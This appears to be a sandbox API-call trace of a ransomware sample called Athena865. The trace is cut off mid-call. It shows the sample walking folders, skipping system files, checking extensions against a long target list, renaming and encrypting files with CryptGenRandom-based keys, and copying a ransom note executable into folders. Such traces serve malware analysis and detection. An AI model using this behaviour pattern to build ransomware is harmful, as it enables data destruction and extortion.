lstrlenW (lpString="daschema") returned 8 [0041.883] lstrcmpiW (lpString1="ings.ini", lpString2="daschema") returned 1 [0041.883] lstrlenW (lpString="db-journal") returned 10 [0041.883] lstrcmpiW (lpString1="ttings.ini", lpString2="db-journal") returned 1 [0041.883] lstrlenW (lpString="db-shm") returned 6 [0041.883] lstrcmpiW (lpString1="gs.ini", lpString2="db-shm") returned 1 [0041.883] lstrlenW (lpString="db-wal") returned 6 [0041.883] lstrcmpiW (lpString1="gs.ini", lpString2="db-wal") returned 1 [0041.883] lstrlenW (lpString="dbc") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0041.883] lstrlenW (lpString="dbs") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0041.883] lstrlenW (lpString="dbt") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0041.883] lstrlenW (lpString="dbv") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0041.883] lstrlenW (lpString="dbx") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0041.883] lstrlenW (lpString="dcb") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0041.884] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0041.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\settings.ini.Athena865") returned 55 [0041.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\settings.ini" (normalized: "c:\\program files\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\settings.ini.Athena865" (normalized: "c:\\program files\\windows sidebar\\settings.ini.athena865"), dwFlags=0x1) returned 1 [0041.885] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\settings.ini.Athena865" (normalized: "c:\\program files\\windows sidebar\\settings.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.886] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80) returned 1 [0041.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.886] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.887] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.887] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.887] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154 [0041.889] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0041.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.890] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.890] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0041.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0041.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.891] CloseHandle (hObject=0x154) returned 1 [0041.891] CloseHandle (hObject=0x17c) returned 1 [0041.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.893] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="windows") returned -1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="bootmgr") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="temp") returned -1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="pagefile.sys") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="boot") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ids.txt") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ntuser.dat") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="perflogs") returned 1 [0041.893] lstrcmpiW (lpString1="Shared Gadgets", lpString2="MSBuild") returned 1 [0041.893] lstrlenW (lpString="Shared Gadgets") returned 14 [0041.893] lstrcpyW (in: lpString1=0x241e88a, lpString2="Shared Gadgets" | out: lpString1="Shared Gadgets") returned="Shared Gadgets" [0041.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f838 [0041.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bb50 [0041.893] lstrcatW (in: lpString1="Shared Gadgets", lpString2="\\" | out: lpString1="Shared Gadgets\\") returned="Shared Gadgets\\" [0041.893] lstrcatW (in: lpString1="Shared Gadgets\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Shared Gadgets\\HOW TO BACK YOUR FILES.exe") returned="Shared Gadgets\\HOW TO BACK YOUR FILES.exe" [0041.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.896] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2=".") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="..") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="windows") returned -1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="bootmgr") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="temp") returned -1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="pagefile.sys") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="boot") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="ids.txt") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="ntuser.dat") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="perflogs") returned 1 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2="MSBuild") returned 1 [0041.896] lstrlenW (lpString="sidebar.exe") returned 11 [0041.896] lstrcpyW (in: lpString1=0x241e88a, lpString2="sidebar.exe" | out: lpString1="sidebar.exe") returned="sidebar.exe" [0041.896] lstrlenW (lpString="sidebar.exe") returned 11 [0041.896] lstrlenW (lpString="Athena865") returned 9 [0041.896] lstrcmpiW (lpString1="debar.exe", lpString2="Athena865") returned 1 [0041.896] lstrlenW (lpString=".dll") returned 4 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2=".dll") returned 1 [0041.896] lstrlenW (lpString=".lnk") returned 4 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2=".lnk") returned 1 [0041.896] lstrlenW (lpString=".ini") returned 4 [0041.896] lstrcmpiW (lpString1="sidebar.exe", lpString2=".ini") returned 1 [0041.896] lstrlenW (lpString=".sys") returned 4 [0041.897] lstrcmpiW (lpString1="sidebar.exe", lpString2=".sys") returned 1 [0041.897] lstrlenW (lpString="sidebar.exe") returned 11 [0041.897] lstrlenW (lpString="bak") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0041.897] lstrlenW (lpString="ba_") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0041.897] lstrlenW (lpString="dbb") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0041.897] lstrlenW (lpString="vmdk") returned 4 [0041.897] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0041.897] lstrlenW (lpString="rar") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0041.897] lstrlenW (lpString="zip") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0041.897] lstrlenW (lpString="tgz") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0041.897] lstrlenW (lpString="vbox") returned 4 [0041.897] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0041.897] lstrlenW (lpString="vdi") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0041.897] lstrlenW (lpString="vhd") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0041.897] lstrlenW (lpString="vhdx") returned 4 [0041.897] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0041.897] lstrlenW (lpString="avhd") returned 4 [0041.897] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0041.897] lstrlenW (lpString="db") returned 2 [0041.897] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0041.897] lstrlenW (lpString="db2") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0041.897] lstrlenW (lpString="db3") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0041.897] lstrlenW (lpString="dbf") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0041.897] lstrlenW (lpString="mdf") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0041.897] lstrlenW (lpString="mdb") returned 3 [0041.897] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0041.898] lstrlenW (lpString="sql") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0041.898] lstrlenW (lpString="sqlite") returned 6 [0041.898] lstrcmpiW (lpString1="ar.exe", lpString2="sqlite") returned -1 [0041.898] lstrlenW (lpString="sqlite3") returned 7 [0041.898] lstrcmpiW (lpString1="bar.exe", lpString2="sqlite3") returned -1 [0041.898] lstrlenW (lpString="sqlitedb") returned 8 [0041.898] lstrcmpiW (lpString1="ebar.exe", lpString2="sqlitedb") returned -1 [0041.898] lstrlenW (lpString="xml") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0041.898] lstrlenW (lpString="$er") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0041.898] lstrlenW (lpString="4dd") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0041.898] lstrlenW (lpString="4dl") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0041.898] lstrlenW (lpString="^^^") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0041.898] lstrlenW (lpString="abs") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0041.898] lstrlenW (lpString="abx") returned 3 [0041.898] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0041.898] lstrlenW (lpString="accdb") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0041.898] lstrlenW (lpString="accdc") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0041.898] lstrlenW (lpString="accde") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0041.898] lstrlenW (lpString="accdr") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0041.898] lstrlenW (lpString="accdt") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0041.898] lstrlenW (lpString="accdw") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0041.898] lstrlenW (lpString="accft") returned 5 [0041.898] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0041.898] lstrlenW (lpString="adb") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.899] lstrlenW (lpString="adb") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.899] lstrlenW (lpString="ade") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0041.899] lstrlenW (lpString="adf") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0041.899] lstrlenW (lpString="adn") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0041.899] lstrlenW (lpString="adp") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0041.899] lstrlenW (lpString="alf") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0041.899] lstrlenW (lpString="ask") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0041.899] lstrlenW (lpString="btr") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0041.899] lstrlenW (lpString="cat") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0041.899] lstrlenW (lpString="cdb") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0041.899] lstrlenW (lpString="ckp") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0041.899] lstrlenW (lpString="cma") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0041.899] lstrlenW (lpString="cpd") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0041.899] lstrlenW (lpString="dacpac") returned 6 [0041.899] lstrcmpiW (lpString1="ar.exe", lpString2="dacpac") returned -1 [0041.899] lstrlenW (lpString="dad") returned 3 [0041.899] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0041.899] lstrlenW (lpString="dadiagrams") returned 10 [0041.899] lstrcmpiW (lpString1="idebar.exe", lpString2="dadiagrams") returned 1 [0041.899] lstrlenW (lpString="daschema") returned 8 [0041.899] lstrcmpiW (lpString1="ebar.exe", lpString2="daschema") returned 1 [0041.899] lstrlenW (lpString="db-journal") returned 10 [0041.899] lstrcmpiW (lpString1="idebar.exe", lpString2="db-journal") returned 1 [0041.900] lstrlenW (lpString="db-shm") returned 6 [0041.900] lstrcmpiW (lpString1="ar.exe", lpString2="db-shm") returned -1 [0041.900] lstrlenW (lpString="db-wal") returned 6 [0041.900] lstrcmpiW (lpString1="ar.exe", lpString2="db-wal") returned -1 [0041.900] lstrlenW (lpString="dbc") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0041.900] lstrlenW (lpString="dbs") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0041.900] lstrlenW (lpString="dbt") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0041.900] lstrlenW (lpString="dbv") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0041.900] lstrlenW (lpString="dbx") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0041.900] lstrlenW (lpString="dcb") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0041.900] lstrlenW (lpString="dct") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0041.900] lstrlenW (lpString="dcx") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0041.900] lstrlenW (lpString="ddl") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0041.900] lstrlenW (lpString="dlis") returned 4 [0041.900] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0041.900] lstrlenW (lpString="dp1") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0041.900] lstrlenW (lpString="dqy") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0041.900] lstrlenW (lpString="dsk") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0041.900] lstrlenW (lpString="dsn") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0041.900] lstrlenW (lpString="dtsx") returned 4 [0041.900] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0041.900] lstrlenW (lpString="dxl") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0041.900] lstrlenW (lpString="eco") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0041.900] lstrlenW (lpString="ecx") returned 3 [0041.900] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0041.901] lstrlenW (lpString="edb") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0041.901] lstrlenW (lpString="epim") returned 4 [0041.901] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0041.901] lstrlenW (lpString="fcd") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0041.901] lstrlenW (lpString="fdb") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0041.901] lstrlenW (lpString="fic") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0041.901] lstrlenW (lpString="flexolibrary") returned 12 [0041.901] lstrlenW (lpString="fm5") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0041.901] lstrlenW (lpString="fmp") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0041.901] lstrlenW (lpString="fmp12") returned 5 [0041.901] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0041.901] lstrlenW (lpString="fmpsl") returned 5 [0041.901] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0041.901] lstrlenW (lpString="fol") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0041.901] lstrlenW (lpString="fp3") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0041.901] lstrlenW (lpString="fp4") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0041.901] lstrlenW (lpString="fp5") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0041.901] lstrlenW (lpString="fp7") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0041.901] lstrlenW (lpString="fpt") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0041.901] lstrlenW (lpString="frm") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0041.901] lstrlenW (lpString="gdb") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.901] lstrlenW (lpString="gdb") returned 3 [0041.901] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.901] lstrlenW (lpString="grdb") returned 4 [0041.902] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0041.902] lstrlenW (lpString="gwi") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0041.902] lstrlenW (lpString="hdb") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0041.902] lstrlenW (lpString="his") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0041.902] lstrlenW (lpString="ib") returned 2 [0041.902] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0041.902] lstrlenW (lpString="idb") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0041.902] lstrlenW (lpString="ihx") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0041.902] lstrlenW (lpString="itdb") returned 4 [0041.902] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0041.902] lstrlenW (lpString="itw") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0041.902] lstrlenW (lpString="jet") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0041.902] lstrlenW (lpString="jtx") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0041.902] lstrlenW (lpString="kdb") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0041.902] lstrlenW (lpString="kexi") returned 4 [0041.902] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0041.902] lstrlenW (lpString="kexic") returned 5 [0041.902] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0041.902] lstrlenW (lpString="kexis") returned 5 [0041.902] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0041.902] lstrlenW (lpString="lgc") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0041.902] lstrlenW (lpString="lwx") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0041.902] lstrlenW (lpString="maf") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0041.902] lstrlenW (lpString="maq") returned 3 [0041.902] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0041.902] lstrlenW (lpString="mar") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0041.903] lstrlenW (lpString="marshal") returned 7 [0041.903] lstrcmpiW (lpString1="bar.exe", lpString2="marshal") returned -1 [0041.903] lstrlenW (lpString="mas") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0041.903] lstrlenW (lpString="mav") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0041.903] lstrlenW (lpString="maw") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0041.903] lstrlenW (lpString="mdbhtml") returned 7 [0041.903] lstrcmpiW (lpString1="bar.exe", lpString2="mdbhtml") returned -1 [0041.903] lstrlenW (lpString="mdn") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0041.903] lstrlenW (lpString="mdt") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0041.903] lstrlenW (lpString="mfd") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0041.903] lstrlenW (lpString="mpd") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0041.903] lstrlenW (lpString="mrg") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0041.903] lstrlenW (lpString="mud") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0041.903] lstrlenW (lpString="mwb") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0041.903] lstrlenW (lpString="myd") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0041.903] lstrlenW (lpString="ndf") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0041.903] lstrlenW (lpString="nnt") returned 3 [0041.903] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0041.903] lstrlenW (lpString="nrmlib") returned 6 [0041.903] lstrcmpiW (lpString1="ar.exe", lpString2="nrmlib") returned -1 [0041.909] lstrlenW (lpString="ns2") returned 3 [0041.909] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0041.909] lstrlenW (lpString="ns3") returned 3 [0041.909] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0041.910] lstrlenW (lpString="ns4") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0041.910] lstrlenW (lpString="nsf") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0041.910] lstrlenW (lpString="nv") returned 2 [0041.910] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0041.910] lstrlenW (lpString="nv2") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0041.910] lstrlenW (lpString="nwdb") returned 4 [0041.910] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0041.910] lstrlenW (lpString="nyf") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0041.910] lstrlenW (lpString="odb") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.910] lstrlenW (lpString="odb") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.910] lstrlenW (lpString="oqy") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0041.910] lstrlenW (lpString="ora") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0041.910] lstrlenW (lpString="orx") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0041.910] lstrlenW (lpString="owc") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0041.910] lstrlenW (lpString="p96") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0041.910] lstrlenW (lpString="p97") returned 3 [0041.910] lstrcmpiW 